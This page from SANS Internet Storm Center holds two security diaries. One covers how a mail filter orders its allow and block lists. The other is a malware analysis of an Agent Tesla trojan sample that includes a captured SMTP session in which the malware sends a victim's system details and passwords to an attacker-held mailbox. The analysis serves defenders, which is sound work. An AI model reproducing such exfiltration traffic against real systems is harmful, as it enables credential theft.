Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: Internet Storm Center - SANS Internet Storm Center Internet Storm Center

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Latest Diaries

Blacklisting or Whitelisting in the Right Way

Published: 2019-09-19
Last Updated: 2019-09-20 07:41:26 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

It's Friday today, I'd like to talk about something else. Black (or white) lists are everywhere today. Many security tools implement a way to allow/deny accesses or actions on resources based on "lists" bsides the automated processing of data. The approach to implement them is quite different:

  Methodology Pro Con
White list Deny everything by default and allow exceptions Full control of all resources Harder to manage
Frequent updates
Can be frustrating for the user.
Black list Allow everything by default and deny exceptions Easy to manage
Less impact on users

Only "known" resources are blocked
Risks of missing blocked resources.
Never-ending process

A classic example is applications allowed to users on endpoints in a corporate environment (Microsoft AppLocker[1] works like this): You can allow all applications but block some or you can deny all applications but allow only approved ones.

When you have a security product that implements both types, how are they processed? In which order? Let's take an example that I faced yesterday at a customer. The security product is a mail protection system which scans incoming SMTP traffic, extracts emails, attachments and tests them (in a sandbox if needed). Two types of lists are available and may contain the following indicators:

  • A sender email address
  • A sender domain
  • A sender IP address
  • An URL
  • A MD5 hash
  • A recipient email address

Lists are:

  • Allowed list
  • Blocking list

This looks very efficient: you can white list IP addresses of internal SMTP relays, domains from partners, or block domains used by spammers. But it can also have nasty effects. The question to think about is: In which order are the lists processed? They are multiple scenarios possible:

  • Process the blocking list first and, if a match is found, stop processing the other list
  • Process the allowed list first and, if a match is found, stop processing the other list
  • Process the blocking list and, if a match is found, check in the allowed list if there isn't an exception
  • Process the allowed list and, if a match is found, check in the blocking list if there isn't an exception

Let's take the practical example that I faced yesterday as an example:

In the blocking list, there is a rule to prevent people to receive emails from the following domain: "". This rule is in place for months. Suddenly, a user complained that he can't receive emails from the domain "". So, we added a rule in the allowed list to always allow emails sent from this domain. But it did not work... After some investigations, we found the issue!

The blocking list is processed in the first place and still rejected emails from (because the '' rule matched). But why does it match a sub-string of the domain? By reading the documentation, we found that regular exceptions are allowed in rules.

To fix this issue, we changed the blocking rule to '^efax\.com$' to really match this domain and nothing else. With this configuration, the blocking list did not match any rule and the allowed list matched on '". Happy user!

Conclusion: The implementation of white or black-list is not easy and must be carefully tested and... RTFM[2] to be sure to fully understand their priority!


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

0 comment(s)

Agent Tesla Trojan Abusing Corporate Email Accounts

Published: 2019-09-19
Last Updated: 2019-09-19 06:47:10 UTC
by Xavier Mertens (Version: 1)
1 comment(s)

The trojan 'Agent Tesla' is not brand new, discovered in 2018, it is written in VisualBasic and has plenty of interesting features. Just have a look at the MITRE ATT&CK overview of its TTP[1].

I found a sample of Agent Tesla spread via a classic email campaign. The sample is delivered in an ACE archive called 'Parcel Frieght Details.pdf.ace' (SHA256:d990171e0227ea9458549037fdebe2f38668b1ccde0d02198eee00e6b20bf22a). You can spot the type error in the file name ('frieght' instead of 'freight'). The archive has a VT score of  8/57[2]. Inside the archive, there is a PE file with the same typo error: 'Parcel Frieght Details.pdf.exe' (SHA256:5881f0f7dac664c84a5ce6ffbe0ea84427de6eb936e6d8cb7e251d9a430cd42a). The PE file is unknown on VT when writing this diary.

Agent Tesla uses multiple exfiltration techniques: SMTP, FTP & HTTP. In this case, the sample used SMTP to exfiltrate the victim’s data. He connected to an SMTP server via port 587. Why TCP/587 and not the regular TCP/25?  Because, while connecting via this port, the remote SMTP server will require authentication. If port 25 is often firewalled, port 587 remains open for egress traffic on many networks.

Here is a dump of the SMTP traffic:

EHLO PlayBox1 Hello PlayBox1 [x.x.x.x]
250-SIZE 52428800
250 HELP

AUTH login bXNoYWhpZEBtZWRpdXJnZS5jb20=

334 UGFzc3dvcmQ6


235 Authentication succeeded


250 OK


250 Accepted


354 Enter message, ending with "." on a line by itself

MIME-Version: 1.0
Date: 18 Sep 2019 08:44:10 +0100
Subject: admin/PlayBox1 Recovered Accounts

Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: quoted-printable

Time: 09/18/2019 07:44:01<br>
UserName: administrator<br>
ComputerName: PLAYBOX1<br>
OSFullName: Microsoft Windows 7 Professional <br>CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz<br>
RAM: 3583.61 MB<br>
IP: x.x.x.x
Password: SuperSafePW<br>

Application: Chrome<br><hr>
Password: SuperSafePW<br>

Application: Outlook

250 OK id=1iAUdG-002MAp-KD is a company based in Pakistan which delivers healthcare products but their website is running on a server hosted in Los Angeles, US. The server has many open ports and vulnerabilities as reported by Shodan[3].

You can see that this server exposes a lot of services and suffers from multiple vulnerabilities. Probably, the attackers compromized the server and retrieved the password of the mailbox '' or they obtained the password via another way. The email address is a valid one and matches an employee of this company[4]:

For the attackers, it's easy to collect exfiltrated data by fetching the mailbox via POP3 or IMAP4 (both are available according to Shodan). 

Tip: Keep an eye on your mail server activity to detect unusual behaviour (peak of traffic, connections from unusual locations, ...)


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

1 comment(s)

If you have more information or corrections regarding our diary, please share.

Recent Diaries

Emotet malspam is back
Sep 18th 2019
3 days ago by Brad (0 comments)

Investigating Gaps in your Windows Event Logs
Sep 17th 2019
3 days ago by Rob VandenBrink (0 comments)

Encrypted Sextortion PDFs
Sep 16th 2019
4 days ago by DidierStevens (0 comments)

View All Diaries →

Latest Discussions

SANS ISC InfoSec News RSS Feed broken?
created Aug 29th 2019
3 weeks ago by Adi (2 replies)

created Aug 14th 2019
1 month ago by Anonymous (0 replies)

"Network Mom ACL Analyzer" finds errors, matches, and duplicates in Cisco ACLs
created Jul 29th 2019
1 month ago by DarrellRoot (0 replies)

Worth protecting my website?
created Jun 28th 2019
2 months ago by Anonymous (3 replies)

Email Encryption Providers
created Jun 27th 2019
2 months ago by Anonymous (2 replies)

View All Forums →

Latest News

Top Diaries

Wide-scale Petya variant ransomware attack noted
Jun 27th 2017
2 years ago by Brad (0 comments)

Using a Raspberry Pi honeypot to contribute data to DShield/ISC
Aug 3rd 2017
2 years ago by Johannes (0 comments)

Second Google Chrome Extension Banker Malware in Two Weeks
Aug 29th 2017
2 years ago by Renato (0 comments)

Detection Lab: Visibility & Introspection for Defenders
Dec 15th 2017
1 year ago by Russ McRee (0 comments)

Maldoc with auto-updated link
Aug 17th 2017
2 years ago by Xme (0 comments)